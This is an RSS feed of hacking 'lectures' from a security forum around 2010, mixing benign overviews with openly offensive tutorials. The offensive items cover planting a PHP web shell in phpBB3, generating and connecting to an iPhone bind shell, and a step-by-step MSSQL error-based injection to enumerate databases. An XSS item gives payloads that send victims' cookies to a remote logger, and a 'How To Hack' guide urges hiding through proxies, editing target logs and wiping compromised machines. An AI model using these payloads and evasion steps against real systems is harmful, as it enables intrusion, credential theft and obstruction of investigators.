<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
	<title>Lectures - Articles</title>
	<link>http://www.astalavista.com/page/articles/_/lectures/</link>
	<pubDate>Fri, 10 Feb 2012 05:27:56 +0000</pubDate>
	<ttl>43200</ttl>
	<description></description>
	<item>
		<title>The (h) hack licence</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/the-h-hack-licence-r56</link>
		<description><![CDATA[<span rel='lightbox'><img src='http://hacklicence.ionixe.com/wp-content/uploads/2010/11/hack-licence-logo-400.png' alt='Posted Image' class='bbc_img' /></span><br />
<br />
 The hack license, symbolized by (h) licensing program, application, website or any other content built in source code as "hacked and open to new hacks."<br />
<br />
A (h) assumes that the licensed content from another that was before another license (without telling what content and its license) and has undergone so many changes that their existence has proved to be necessary to have materially different from the original features, which were "hacked".<br />
<br />
Content licensed with (h) was hacked, ie unchanged from its original features, either to improve or to meet other features.<br />
<br />
By licensing content with (h) recognizes that the developer used the basis of other content to do something new, and more: it gives the opportunity for others to do the same with what he created. <br />
<br />
The origin of (h) Licence<br />
A Hack License was instituted publicly by Zer0, also known as Hiago Robinson in 2004.<br />
<span rel='lightbox'><img src='http://hacklicence.ionixe.com/wp-content/uploads/2010/11/file5-4.jpg' alt='Posted Image' class='bbc_img' /></span><br />
Zer0 used this symbol in. Ico to mark the hacks that made from programs and applications, and then organize the folders on your computer, with only two folders, each with the same content, only one with unique programs and applications and another folder with the "hacks".  At the start hacking on the web, the markings &copy;, that simplicity, they mean: "Content protected by copyright laws," were replaced by (h), which means "Content changed and available free to change with the purpose improvement. "]]></description>
		<pubDate>Mon, 15 Nov 2010 15:43:49 +0000</pubDate>
		<guid isPermaLink="false">1c9ac0159c94d8d0cbedc973445af2da</guid>
	</item>
	<item>
		<title>Uploading shell into phpbb3 via admin account</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/uploading-shell-into-phpbb3-via-admin-account-r50</link>
		<description><![CDATA[Hi, i will show how to upload shell on phpbb3 via admin account.First, go to: Admin panel, Security settings, Allow php templates and check yes. Second: Styles, Templates, Edit, faq_body.html and put the code:<br />
<br />
<pre class='prettyprint'>system($cmd);</pre>
<br />
After this, go to <br />
<pre class='prettyprint'>www.victim.com/forum/faq.php?cmd=&#91;command&#93;</pre>
<br />
God Luck !!<br />
fLaShcRew.In]]></description>
		<pubDate>Sun, 26 Sep 2010 12:28:45 +0000</pubDate>
		<guid isPermaLink="false">7ef605fc8dba5425d6965fbd4c8fbe1f</guid>
	</item>
	<item>
		<title>What is Cryptovirology?</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/what-is-cryptovirology-r49</link>
		<description><![CDATA[Cryptovirology traces its roots to the science of cryptology and virology.  On the surface, one may say that it deals with the use of viruses (virology aspect) to extract crypts (cryptology aspect) and breach the security of a system.  In order for you to understand what cryptovirology is and how it affects security, the following discussion is necessary.  <br />
<br />
<span style='font-size: 10px;'><strong class='bbc'>How is security attained by a system?</strong></span><br />
<br />
Cryptology deals with the theories and application of formulas and algorithms to attain security in a system.  It further involves cryptography and cryptanalysis.  <br />
<br />
Cryptography studies the process or skill of communicating in or deciphering secret writings or ciphers.   In order for data to possess a certain level of security for storage or transmission, it must be stored or transmitted in a form that is difficult to understand by an unauthorized individual. The “intractability” or difficulty of the mathematical equations used in the security process accounts for the basis of cryptography.  On the other hand, cryptanalysis studies ciphers, ciphertext or cryptosystems with a view to finding weaknesses in them that will permit retrieval of the plaintext from the ciphertext without necessarily knowing the key or the algorithm, thus breaking the security.     <br />
<br />
Cryptovirology, therefore, involves program developers who use cryptography to design powerful malicious software to attack the security of a system or security of a user’s information.  <br />
<br />
<span style='font-size: 10px;'><strong class='bbc'>How did this field begin?</strong></span><br />
<br />
Cryptovirology began when virus writers tried to break the security of a system through the use of public-key cryptography.  Public-key cryptography breaks the symmetry between what an antivirus analyst sees regarding a virus and what the virus writer sees. The antivirus analyst sees only a public key, while the virus writer sees both a public key and a private key. <br />
<br />
Historians say that the first attack in the field of cryptovirology involved cryptoviral extortion.  In here, hackers used a virus or worm or Trojan hybrid to encrypt files of a victim and literally extort money from the victim.  After hacking, the victim has to pay the hackers to receive the needed session key just to be able to get the files back.  These viruses also go by the name ransomware.<br />
<br />
<span style='font-size: 10px;'><strong class='bbc'>What are the dangers of cryptovirology on security?</strong></span><br />
<br />
Cryptovirology poses a threat on security because it can be used to extort money by file hacking.  In addition to this, it attacks and steals private information such as private keys.  Private keys are stolen with the use of asymmetric backdoors.  The attacker, and no one else, uses an asymmetric backdoor. This asymmetric backdoor differs from traditional symmetric backdoors because anyone that finds it can use it. <br />
<br />
Kleptography, a subfield of cryptovirology, deals mainly with the study of asymmetric back doors in key generation algorithms, digital signature algorithms, key exchanges, and so on.<br />
<br />
Attackers use cryptoviruses in deniable password snatching used with cryptocounters, private information retrieval, and to secure communication between different instances of a distributed cryptovirus.<br />
<br />
<span style='font-size: 10px;'><strong class='bbc'>What are examples of cryptoviruses?</strong></span><br />
<br />
Examples of cryptoviruses include Tremor Virus, One-half virus, Tro_Ransom.A virus, Virus, and Win32.Gpcode.ag. <br />
<br />
Viruses such as the Tremor Virus use cryptography to avoid detection by antivirus software. <br />
<br />
Virus writers can also use cryptography to enhance the longevity of the virus, such as in the case of One-half virus. <br />
<br />
Tro_Ransom.A asks the owner of the infected machine to send $10.99 to a given account through Western Union. Tro_Ransom.A exemplifies a ransomware used for cryptoviral extortion.<br />
<br />
Virus.Win32.Gpcode.ag instructs the owner of the machine to email a given mail ID if the owner desires the decryptor.  The user will then pay a certain amount as ransom in return for the decryptor.  <br />
<br />
All of these viruses threaten a system or a person’s security.]]></description>
		<pubDate>Wed, 15 Sep 2010 07:19:27 +0000</pubDate>
		<guid isPermaLink="false">f2217062e9a397a1dca429e7d70bc6ca</guid>
	</item>
	<item>
		<title>HOW TO ENTER ON IPHONE USING SHELLCODE CUSTOM V...</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/how-to-enter-on-iphone-using-shellcode-custom-v-r48</link>
		<description><![CDATA[<strong class='bbc'>Since the shell code is no fun unless you can do something with it,I added support for iphone executables to the msfpayload command.This allows you to generate standalone bind/reverse shell executables using the following syntax metasploit commands:<br />
<br />
$ msfpayload osx/armle/shell_bind_tcp LPORT=4444 X &gt; iphone_bindshell.bin<br />
<br />
This binary can be copied to the iphone using SSH	or Iphuc/iPhoneTool and executed.<br />
<br />
$ ssh root@192.168.1.4<br />
# chmod +X iphone_bindshell.bin<br />
# ./iphone_bindshell.bin<br />
# ./iphone_bindshell.bin<br />
--<br />
$ nc –vvn 192.168.1.4 4444<br />
(UNKNOWN) [192.168.1.4] 4444 (krb524) open<br />
id<br />
uid=0 euid=1 gid=0 (wheel) groups=0 (wheel)<br />
uname -a<br />
Darwin Metasploit Developer's iphone 9.0.0d1<br />
Darwin Kernel Version 9.0.0d1: Fri Jun 22 00:38:56 PDT 2007;<br />
root:xnu-933.0.1.178.obj~1/RELEASE_ARM_S5L8900XRB<br />
iphone1,1 Darwin<br />
<br />
Once the XOR encoder is done,the only step left is to find the bugs and write the exploits.</strong>]]></description>
		<pubDate>Thu, 09 Sep 2010 14:06:25 +0000</pubDate>
		<guid isPermaLink="false">47d1e990583c9c67424d369f3414728e</guid>
	</item>
	<item>
		<title><![CDATA[Sun Symlink Safe-Over [Bypass Forbidden Error -...]]></title>
		<link>http://www.astalavista.com/page/articles/_/lectures/sun-symlink-safe-over-bypass-forbidden-error-r47</link>
		<description><![CDATA[Hello all,<br />
this tool bypass forbidden[403] and permisson denied error in symlink methode...<br />
and bypass php safe-mode prior 5.3.1 version<br />
<br />
video:http://www.4shared.com/file/F-DOODHu/SS-Film.html<br />
tool:http://tool.sun-army.org]]></description>
		<pubDate>Mon, 06 Sep 2010 18:27:38 +0000</pubDate>
		<guid isPermaLink="false">8d5e957f297893487bd98fa830fa6413</guid>
	</item>
	<item>
		<title>Exctract Table and Columns name in MsSQL ( .cfm...</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/exctract-table-and-columns-name-in-mssql-cfm-r46</link>
		<description><![CDATA[<pre class='prettyprint'>###################################
Title: Exctract Table and Columns name in MsSQL ( .cfm & .asp )
-
Author: DaNZeL
-
WebSite: http&#58;//www.GoldHaxors.Com
-
Hotmail: danzel@flash-crew.com
-
Yahoo: FlashcRew@Yahoo.com
###################################</pre>
<br />
<br />
Hi allz ..<br />
I want to tech you how to exctract Tables And Columns from MsSQL shop's ..<br />
some people has ben a interes for that ..<br />
and i write for you .<br />
<br />
-<br />
Get the Version:<br />
<pre class='prettyprint'>and 1=convert(int,@@version)--sp_password</pre>-<br />
Get Server Name :<br />
<pre class='prettyprint'>and 1=convert(int,@@servername)--sp_password</pre>
Demo:<br />
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56 and 1=convert(int,@@servername)--sp_password</pre>
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'SERVER NAME HERE' to a column of data type int.<br />
<br />
-<br />
Get data base name:<br />
<br />
<br />
<pre class='prettyprint'>and 1=convert(int,db_name())--sp_password
and 1=convert(int,db_name(1))--sp_password
and 1=convert(int,db_name(2))--sp_password
and 1=convert(int,db_name(3))--sp_password
and 1=convert(int,db_name(4))--sp_password</pre>etc ...<br />
<br />
<br />
Demo:<br />
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56 and 1=convert(int,db_name())--sp_password
http&#58;//site.com/view.cfm?id=56 and 1=convert(int,db_name(2))--sp_password</pre>
<br />
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'DB NAME HERE' to a column of data type int.<br />
<br />
<br />
-<br />
Get system user :<br />
<pre class='prettyprint'>and 1=convert(int,system_user)--sp_password</pre>
<br />
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56 and 1=convert(int,system_user)--sp_password</pre>
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'System User' to a column of data type int.<br />
<br />
<br />
-<br />
<br />
-<br />
Get the first Table :<br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password</pre>
demo :<br />
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password</pre>
We get this error:<br />
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'First TAble Here' to a column of data type int.<br />
<br />
-<br />
<br />
Get the second table:<br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))--sp_password</pre>
example:<br />
<pre class='prettyprint'>http&#58;//site.com/view.cfm|id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))--sp_password</pre>
<br />
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Second Table is Here' to a column of data type int.<br />
<br />
<br />
-<br />
Get Next Table <br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('table1,'Table2')))--sp_password </pre>
<br />
<br />
-<br />
<br />
Get the 3 table :<br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))--sp_password</pre>
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))--sp_password</pre>
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value '3 Table' to a column of data type int.<br />
<br />
And we get the 3 table .. for get more table go with step with last table ..<br />
<br />
<br />
--<br />
<br />
Now you need to get the columns in any table :<br />
<br />
We goo with this process ..<br />
<br />
Get first columns from table 1 :<br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))--sp_password</pre>
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))--sp_password</pre>
and we get the first columns in this table<br />
<br />
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Column Name here' to a column of data type int.<br />
<br />
--<br />
<br />
Get second column :<br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("FIRST-COLUMNS-HERE")))--sp_password</pre>
<br />
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("FIRST-COLUMNS-HERE")))--sp_password</pre>
and we will get te second columns<br />
<br />
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Second Column here' to a column of data type int.<br />
<br />
--<br />
<br />
Get 3 columns :<br />
<pre class='prettyprint'>and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("SECOND-COLUMNS-HERE")))--sp_password</pre>
<pre class='prettyprint'>http&#58;//site.com/view.cfm?id=56and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in ("SECOND-COLUMNS-HERE")))--sp_password</pre>
and we have column number 3<br />
<br />
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'COLUMN-NR-3' to a column of data type int.<br />
<br />
<br />
and in this method you use in next step ..<br />
<br />
Don't Forget to change the commands in SQL Char<br />
For any help Email me<br />
<br />
Peace<br />
Danzel / Flashcrew]]></description>
		<pubDate>Sun, 05 Sep 2010 10:10:18 +0000</pubDate>
		<guid isPermaLink="false">a5e00132373a7031000fd987a3c9f87b</guid>
	</item>
	<item>
		<title>Computer Security: Dealing with Hackers</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/computer-security-dealing-with-hackers-r43</link>
		<description><![CDATA[When computers started going into fashion, people never had to worry about hackers, viruses and other computer security issues. Nowadays, the world is a very different place. People download a lot of things from the Internet and they are constantly at risk from viruses, Trojan horses and hacking. This is one of the main reasons why it is so important to learn about the fundamentals of computer security and how to stop hackers from tampering with your system.<br />
<br />
The first thing that you will have to do is to purchase a good anti-virus system. There are many good anti-virus solutions in the market and you can pick one that you are comfortable with. After installing it into your computer, you should keep in mind that you will have to update it regularly. This is important in stopping new viruses and hacking techniques from taking advantage of the inherent vulnerabilities in your system. You should learn how to use your software and it pays to know how to quarantine, repair and delete infected files and folders.<br />
<br />
Your firewall is the next thing that you should pay close attention to. There are two types of firewalls; namely, software and hardware. Firewalls help users prevent hackers from accessing the files and folders on your computer. Most operating systems come with built-in firewalls. You should learn how to use your firewall as early as possible.<br />
When improving the security of your system, you will also have to keep a close eye on system events. You can do this by regularly checking your system log for any suspicious activity. You should start getting worried if you are constantly getting notices regarding unknown programs that you did not install yourself. You should also be on the lookout for TCP/IP messages and other system warnings.<br />
<br />
You should also be diligent in downloading and installing operating system updates. These are very important to the security of your computer. Software providers often provide updates when they find and fix vulnerabilities and loopholes that hackers can take advantage of. Updating regularly will make it very difficult for people trying to gain access to your computer. As soon as new patches are available for your programs, you should download and install them right away. Hackers usually take advantage of the vulnerabilities in common programs like web browsers, email clients and programs like Adobe Acrobat to get into your system. Security fixes often eliminate these vulnerabilities, so hackers will have to find new loopholes to exploit your system. This game of cat and mouse between software developers and hackers has been going on for a while now and will likely continue in the future.<br />
<br />
Hackers are now also capable of taking control of your computer’s webcam, if you have one. This is more than just a breach in computer security and your privacy is now at stake. It is a well-known fact that everything connected to your computer can be used and accessed by someone who has already gained access to your computer. This includes devices like microphones and webcams. In fact, a number of hackers have already been caught after successfully taking control of other people’s webcams and allowing them to see what the victims are doing.<br />
<br />
Thankfully, webcam hacking is usually accomplished using specially-made viruses. These viruses can be detected and dealt with using any reputable anti-virus software. This is just one of the reasons why computer security is so important these days. The best way to keep prying eyes from using your webcam is still one of the simplest solutions to this security problem. All you have to do is disconnect or cover your webcam when not in use.]]></description>
		<pubDate>Mon, 30 Aug 2010 07:59:02 +0000</pubDate>
		<guid isPermaLink="false">903ce9225fca3e988c2af215d4e544d3</guid>
	</item>
	<item>
		<title>Cross Site Scripting: Different Methods Version: 3</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/cross-site-scripting-different-methods-version-3-r37</link>
		<description><![CDATA[XSS Explained.<br />
<br />
Here is where I will discuss some different syntaxes of XSS and how to steal cookies. I will also explain the idea of how the XSS syntaxes work.<br />
       a)<br />
&lt;script src=http://site.com/evil.js&gt;<br />
<br />
       This works because when a website allows JavaScript to be executed, you can have a pre-made JavaScript file type on a remote server and the &lt;script src=""&gt; tag will read from it and execute it on the page.<br />
<br />
      <br />
<br />
       <img src='http://www.astalavista.com/public/style_emoticons/default/cool.gif' class='bbc_emoticon' alt='B)' /><br />
'"/&gt;&lt;/&gt;&lt;script src=http://site.com/evil.js&gt;<br />
<br />
       This is what I mostly use to escape fields on the website. Let's say that I search for "test", and the next page has the word "test" in the search field again, I will try to escape it with this code.<br />
       c)<br />
&lt;img src=xss.png onerror="document.location='http://site.com/log.php?cookie='"+document.cookie&gt;<br />
<br />
       This script will try to include a fake image named "xss.png" and will automatically error. On the error, it will execute the JavaScript to redirect to a logger and log the victim's cookie.<br />
       d)<br />
&lt;script&gt;document.location="http://sitea.com/log.php?c="+document.cookie+"&redirect=http://siteb.com";&lt;/script&gt;<br />
<br />
       This is the most basic JavaScript for a cookie stealing attempt. This is what would most likely be placed inside one of the many .js files being retrieved by a remote server.<br />
This script will redirect the webpage to <a href='http://sitea.com/log.php?c=' class='bbc_url' title='External link' rel='nofollow external'>http://sitea.com/log.php?c=</a>[THEIR COOKIE]&redirect=http://siteb.com<br />
<br />
       The GET variable c contains the user's cookie from the following page. The redirect part is just another GET var that will redirect them away from the logger, to another website, so that they do not notice anything TOO strange. The best way to avoid suspicion is to redirect them to the same site, just a different page.<br />
<br />
       Breakdown of the JavaScript if you didn't already know it:<br />
<br />
       document.location=""; or document.location(); is a function in JavaScript that changes the document (webpage)'s<br />
<br />
       location.  document.cookie is JavaScript's way of storing cookie information on a website.  Mostly everything can be called from document.* whatever.<br />
<br />
After that, all that is pretty much left to do is send a link containing the URL with the XSS vulnerability in it to your victim and let he/she click it, while you wait for your cookies.]]></description>
		<pubDate>Tue, 10 Aug 2010 08:06:30 +0000</pubDate>
		<guid isPermaLink="false">3988c7f88ebcb58c6ce932b957b6f332</guid>
	</item>
	<item>
		<title>Cross Site Scripting: Prevention: Version 2</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/cross-site-scripting-prevention-version-2-r36</link>
		<description><![CDATA[Finding XSS holes in websites.<br />
<br />
The easiest way to find XSS holes in websites is manually. I'm sure you can write a script to do it for you, but that takes the fun out of it.<br />
<br />
When searching for holes, you might want to check these fields:<br />
       a) Search Field<br />
       <img src='http://www.astalavista.com/public/style_emoticons/default/cool.gif' class='bbc_emoticon' alt='B)' /> Comment Fields<br />
       c) Feedback Forms<br />
       d) Login Forms<br />
       e) Error Pages<br />
<br />
To see if they are vulnerable, I use simple syntax for both HTML and JavaScript. "&lt;h1&gt;a&lt;/h1&gt;" and "&lt;script&gt;alert(1)&lt;/script&gt;". I know if the following page has either a large heading that reads "a" or an alert box that says "1", the field is vulnerable.<br />
<br />
First off, let's get a couple of things straight -- be smart, not stupid. Follow these simple rules:<br />
<br />
   1. If you're expecting a particular type of data, check to ensure that it is what you're expecting.<br />
   2. Check the length -- if you expect a fName of only 25 characters, chop extra characters off and drop 'em. Don't give evil Eddie any sort of chance to do a lot of damage.   <br />
   3. Look for non-valid characters -– like &lt; or &gt; or the ubiquitous ;. Don't just take whatever you get from the querystring; question all your input. Trust no one. Really.<br />
<br />
<br />
Ok, here's a smidget of code -- obviously, you'll want to flesh this out to fit your particular site:<pre class='prettyprint'>
private bool checkValueQS(string QS)
{

Regex r = new Regex("&#91;^0-9a-zA-Z&#93;");

// Find a single match in the string.

Match m = r.Match(QS);  

if (m.Success)  

{

 return true;

}

return false;

}
This isn't Rocket Science -- it's pretty easy in concept. All I'm doing is trying a NOT match against the numbers 0-9 and valid letters a-z and A-Z. Anything else is forbidden. You can then redirect your malicious end user who was trying to pass in the 'ol script tags.
Try this the next time you want to check up on Lumpy:
private void Page_Load(object sender, System.EventArgs e)

{

if (Request.QueryString&#91;"fName"&#93; != null)

{                

if (checkValueQS(Request.QueryString&#91;"fName"&#93;.ToString()) == false)

{

 Response.Write("Hello " + Request.QueryString&#91;"fName"&#93;);

 }

 else

 {

 Response.Write("Hello... JERK!");

  }

}

}</pre>
Notice that if the end user does try to pass anything other than a number or an alpha, they get told off with a Response.Write("Hello... JERK");]]></description>
		<pubDate>Tue, 10 Aug 2010 08:05:17 +0000</pubDate>
		<guid isPermaLink="false">42a0e188f5033bc65bf8d78622277c4e</guid>
	</item>
	<item>
		<title>*JPEG facebook</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/jpeg-facebook-r34</link>
		<description><![CDATA[Da Well Layer integrazione articolo<br />
I cracker trovano terreno fertile in facebook, dove un'infinità di immagini di terze parti si diffonde con estrema rapidità. Facebook non compie la scansione *JPEG. Infatti,  gli utenti devono fare affidamento sui propri software anti-virus, per difendersi da tali minacce a differenza di quanto avviene nel web.<br />
Bollettino microsoft<br />
<br />
La comparsa del primo virus JPEG<br />
<br />
Il 14 settembre Microsoft ha pubblicato il bollettino di sicurezza MS04-028 annunciando una vulnerabilità critica nel modo in cui certi componenti Windows gestiscono i file .JPEG; grazie a questo bug un attaccante può eseguire codice arbitrario su sistemi altrui. Un cracker potrebbe dunque inserire in un'immagine JPEG un codice eseguibile che verrebbe automaticamente avviato ad ogni apertura o visualizzazione del file sulle macchine prive di patch.<br />
<br />
L'esecuzione automatica di questo codice può fornire all'attaccante gli stessi privilegi di accesso all'informazione attribuiti all'utente effettivo.<br />
Lo sfruttamento remoto di questa vulnerabilità può comportare la realizzazione di pagine Web apposite, mentre un attacco tramite posta elettronica potrebbe essere effettuato inviando in allegato un file JPEG modificato.<br />
<br />
Un ulteriore vettore di propagazione è nelle condivisioni di rete, dove è possibile inserire copie di file JPEG modificati: la vulnerabilità può essere attivata dall'utente semplicemente visualizzando l'anteprima della condivisione o spostando il cursore sul file JPEG. La comparsa di questo virus è particolarmente preoccupante dal momento che i file JPEG sono uno dei formati più comunemente usati per le immagini.<br />
<br />
Prove concettuali di codice capace di sfruttare questa vulnerabilità sono apparse solo tre giorni dopo la pubblicazione del bollettino Microsoft.<br />
Il 24 settembre è comparso anche un toolkit che permette di far leva su tutte le potenzialità di questa vulnerabilità, indicando l'esistenza di sforzi congiunti per massimizzare completamente il bug. Trend Micro identifica il toolkit come HTKL_JPGDOWN.A, che può essere utilizzato per generare file JPEG adatti a sfruttare la vulnerabilità.<br />
<br />
Una volta lanciato, il toolkit apre un pannello con il titolo del programma ("JPEG Downloader by [ATmaCA]") e chiede quindi di specificare un URL che sarà scaricato dal file JPEG generato dal tool stesso.<br />
L'utente non deve far altro che selezionare il pulsante "Make" per generare un file JPEG appositamente modificato.]]></description>
		<pubDate>Mon, 09 Aug 2010 11:03:25 +0000</pubDate>
		<guid isPermaLink="false">02522a2b2726fb0a03bb19f2d8d9524d</guid>
	</item>
	<item>
		<title>Quick introduction to DoS and DDoS</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/quick-introduction-to-dos-and-ddos-r25</link>
		<description><![CDATA[Author: Anonymous<br />
<br />
With the current expansion of Internet worldwide, it became extremely necessary the creation of new forms of attacks by the hacker community, the concept of DoS (Denial of Service) and DDoS (Distributed Denial of Service) was born. This type of attack became popular by targeting entities where the availability of various services is the key to the entity's success as well as the reason for its existence, amongst those entities we can include as examples, Banks, ISP, E-commerce websites, etc.. Where every hour, minute or even second means the possible loss of huge amounts of money.<br />
<br />
<strong class='bbc'>Pre-Attack and Pre-Requirements</strong><br />
<br />
It became, for quite a long time an unsolved puzzle for many security professionals the choice of the best time to create an attack network, pre-target-identification or post-target-identification, for sake of neutrality let's say that the best time depends on the objective to achieve, the attacker's mentality and its skills.<br />
We can easily understand that creating a pre-target-identification attack network that is fully functional at the zero attack hour has the same impact as a post-target-identification attack network of the same size ,power and is completely functional but in reality this is not completely true. A pre-target-identification has to be idle for more time, therefore causing network nodes to become inactive either by a sysadmin covering/fixing/patching the attacker's entry point or by the implementation of more restrictive security measures.<br />
The attack methodology used for the expansion of an attack network have been modified since the earliest *DoS attacks, what started as simple Host-by-host attack and the successive host append to the network turned into a battle of "intelligent" scripts/worms capable of doing the job by their own means without almost no human intervention on the process and with a power far more superior than the individual host attack method.<br />
Once formed the attack network, let's look at the attacker as a pyrotechnic technician with all his fireworks ready to launch and begin the show...The countdown clock reaches zero... The attacker presses the trigger (or some pre scheduled event occurs)... The show begins... But what happens?<br />
<br />
<strong class='bbc'>Post Attack Analysis </strong><br />
<br />
From the uninformed victim's point of view, the attack was apparently conducted by various attackers at the same time, almost like an army that marched towards a castle, the real enemy would be the army's leading person and the army itself would just be the attacker's puppets, this lack of knowledge gives the attacker some time, making the victim go through all of the painful "Back-trace" process which sometimes due to a small budget, the high adjacent cost of the analysis and depending on the dimension of the damages caused can lead to the suspension of the attack's forensics.<br />
<br />
<strong class='bbc'>Protection layers</strong><br />
<br />
It is fairly trivial that the more protection layers exist between the attacker and the victim, more anonymous and protected the attacker's identity will be and more difficulties will the victim run across to unveil the attack source.<br />
An elevated number of layers will, as expected, create "lag" between layers which can lead, if badly idealized, to the total of partial failure of the attack, on the other hand a small number of layers can lead to an easy detection of the attacker and therefore, large prejudice for the attacker, it is, in sum, essential to create a balance between both extremes to obtain a successful attack and effective risk distribution.<br />
<br />
<strong class='bbc'>Other types of DoS</strong><br />
<br />
Examples of other attacks aimed at basic and essential company and individual's resources which are "un-wired" can include amongst others, electrical or telephonic cuts, extreme adverse climate conditions (bearing in mind that this attack is however not controlled by the attacker), access cuts (roads,etc..) and probably the most common used forms, the interception and/or manipulation followed by a negation of information or data transmitted via mail etc..]]></description>
		<pubDate>Fri, 16 Jul 2010 12:48:48 +0000</pubDate>
		<guid isPermaLink="false">3def184ad8f4755ff269862ea77393dd</guid>
	</item>
	<item>
		<title><![CDATA[[Guide] How To Hack]]></title>
		<link>http://www.astalavista.com/page/articles/_/lectures/guide-how-to-hack-r21</link>
		<description><![CDATA[<em class='bbc'>A nice lecture by Daremo, posted on the old Astalavista.net in 2003.</em><strong class='bbc'><br />
</strong><br />
<br />
I keep seeing the n00bs ask "How to hack" -- The folks who've been into this scene for awhile get tired of these questions. So what's a n00b to do?<br />
<br />
Well I'm here to help.<br />
While this short tut will not give you a step-by-step, hold-your-hand solution ( such a solution is impossible for reasons you'll find out in this text. ) This text will give you a serious guideline to developing your own techniques and methodologies for hacking.<br />
<br />
Next I must tell you the following: With penalties for hacking going up and up all over the world, in every nation (almost) doing a sloppy hack can get you from 20 years to LIFE IMPRISONMENT. The ball game has changed since I first got into it. Security is harder and tighter, penalties are going sky high. I'm reminded of the bad-old-days of the '60's in the <strong class='bbc'>USA</strong> when posession of a marijuana *seed* could get you life in prison. Those days have changed for you tokers, but the 'bad old days' are right now for hackers. It's easier than ever to get caught and you'll seriously screw up your life if you do get caught.<br />
<br />
Tell me -- is doing that DDOS or crashing some SOB who 'wronged' you or publishing those warez to be leet -- is that worth the prison time? How much reward or inducement would someone have to give you before you'd agree to rob a bank at gunpoint and risk 20 years to life in jail? Don't laugh, The penalties for armed robbery of a federal depository such as a bank and hacking your neighbor's PC are the same - 20 to life!!! <br />
<br />
The only difference is that you stand a better chance of a reduced sentence for robbing a bank. Therefore I do not advocate you doing any exploits until and unless you really know what you are doing and are willing to take total responsibility for your actions. Bottom line -- do whatever the heck you want -- I'll not really change your mind because you won't/don't believe me and you 'know better' than I. I'll just leave you with this -- I've been hacking for 30 years now and I've never been caught nor charged - because I'm careful - I would never do any exploit without a proper investigation of the target - it's suicide.<br />
<br />
So now I'll give you an outline of the do's and don't's as well as a little advice... Doing a real exploit involves much, much more than finding a vulnerable system and running a script to root it. Before you even consider using an exploit you must do the following MINIMUM:<br />
<br />
1) <strong class='bbc'><span class='bbc_underline'>Ensure that you are as hidden as possible,</span></strong> Chain of proxies; hidden cutouts; work thru a rhost or shell on a previously rooted machine; spoofed the hell out of everything; and last but definately not least -- NEVER EVER UNDER ANY CIRCUMSTANCES RUN AN EXPLOIT FROM YOUR HOME, SCHOOL OR OFFICE. In fact never run one from an inet cafe for obvious reasons. This is because you can and will be traced if your hack is noticed. This is because, no matter what you do, no matter how well you try to hide, in order to enter and snoop around in someone's PC you *must* establish a connection from you to them. Even if you work through a chain of proxies you can be traced. Those machines have logs, the machines they connect to have logs and so on and so on. which brings us to point 2.....<br />
<br />
2)<strong class='bbc'><span class='bbc_underline'>Clean up after yourself.</span></strong> This involves some very delicate surgery on the target. You should try to remove any log entries that pertain to you out of ALL logs. This is almost impossible without root access to the target. So if you got in, but didn't get root -- you could be screwed big time. Don't just erase the logs, that's way to crass. Edit the logs to remove your entries. Very time consuming, but very much worth it. Next clean up is your proxies/cut-outs, etc. Well you probably don't have root access on each machine in your chain of proxies. this is a problem because anyone who finds the first link of a back trace to one of the proxies will track you. If you can you must break the chain by destroying one or more of the proxies. This is not easy in and of itself as it involves compromising the proxy and wiping the HDD. However, even doing this you're not totally in the clear as recovery of the HDD may be possible or logs may be kept on external devices/media for that proxy. So even if you do crash it -- you're still screwed (potentially). Now to the 3rd point, how to find a suitable target...<br />
<br />
